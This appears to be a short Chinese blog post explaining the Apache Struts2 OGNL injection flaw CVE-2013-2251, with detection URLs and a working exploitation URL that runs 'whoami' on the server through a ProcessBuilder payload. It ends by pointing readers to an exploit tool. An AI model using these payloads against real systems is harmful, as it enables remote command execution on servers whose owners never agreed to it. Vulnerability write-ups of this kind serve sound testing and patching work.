您的位置:首页 > 运维架构 > Apache

Apache Struts2 远程命令执行漏洞

2013-07-19 16:10 826 查看
本人WEB渗透不行,最近在SARS大牛的指导下正在飞速成长。记录下成长的点滴。

在Apache Struts 2.3.15.1版本(北京时间:2013-07-15)发布的时候,公开了一个新的远程命令执行漏洞,允许攻击者在访问使用Struts2的应用时远程执行OGNL表达式,该漏洞影响2.3.15.1之前的所有Struts2版本。影响版本:Apache Struts2 2.3.15.1 以前版本(不含)漏洞描述:CVE ID: CVE-2013-2251Struts 2 的 DefaultActionManager 支持一种简单的导航机制,这种机制接收客户端提交(GET和POST,不包括COOKIE)的参数来进行页面的导航,参数格式为:关键字+冒号(半角)+OGNL表达式,关键字有action、redirect、redirectAction。设计此机制的目的是为了向表单中的按钮添加导航信息。在 2.3.15.1 以前的版本中,服务器端并未对这种导航机制传递给服务端的OGNL表达式进行安全过滤。因此,攻击者就可以构造一个恶意的 OGNL 表达式,从而能够在服务器端执行任意代码。各关键字的含义如下:action - 表示把表达式的执行结果作为Action来处理redirect - 表示把表达式的结果作为重定向的URL来强制客户端跳转(302跳转)redirectAction - 表示把表达式的结果后追加一个.action后作为重定向的URL来强制客户端跳转(302跳转)测试示例:1. 漏洞检测方法: 在URL中追加如图所示代码,如果存在问题,会返回对应的HTTP状态码。示例:http://www.example.com/home.action?action:%25{'exploit'} 返回404错误http://www.example.com/home.action?redirect:%25{3*4} 返回302,在响应头的Location头域中指定跳转目标URL为12http://www.example.com/home.action?redirectAction:%25{3*4} 返回302,在响应头的Location头域中指定跳转目标URL为12.action





2. 利用漏洞执行命令方法:这里调用系统命令whoami来查询服务器的当前用户名,由于采用的是redirect关键字,页面将会重定向到由该关键字对应的OGNL表达式执行结果所指向的页面,在这个示例中,跳转的目标页面的URL就是当前用户名。示例:http://www.example.com/home.action?action:%25{new%20java.lang.StringBuffer().append(new%20java.io.BufferedReader(new%20java.io.InputStreamReader(new+java.lang.ProcessBuilder({'whoami'}).start().getInputStream())).readLine())}

最后附上利用工具,孩子们去乌云刷分玩吧 。Apache Struts 2.3.15.1漏洞利用工具
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: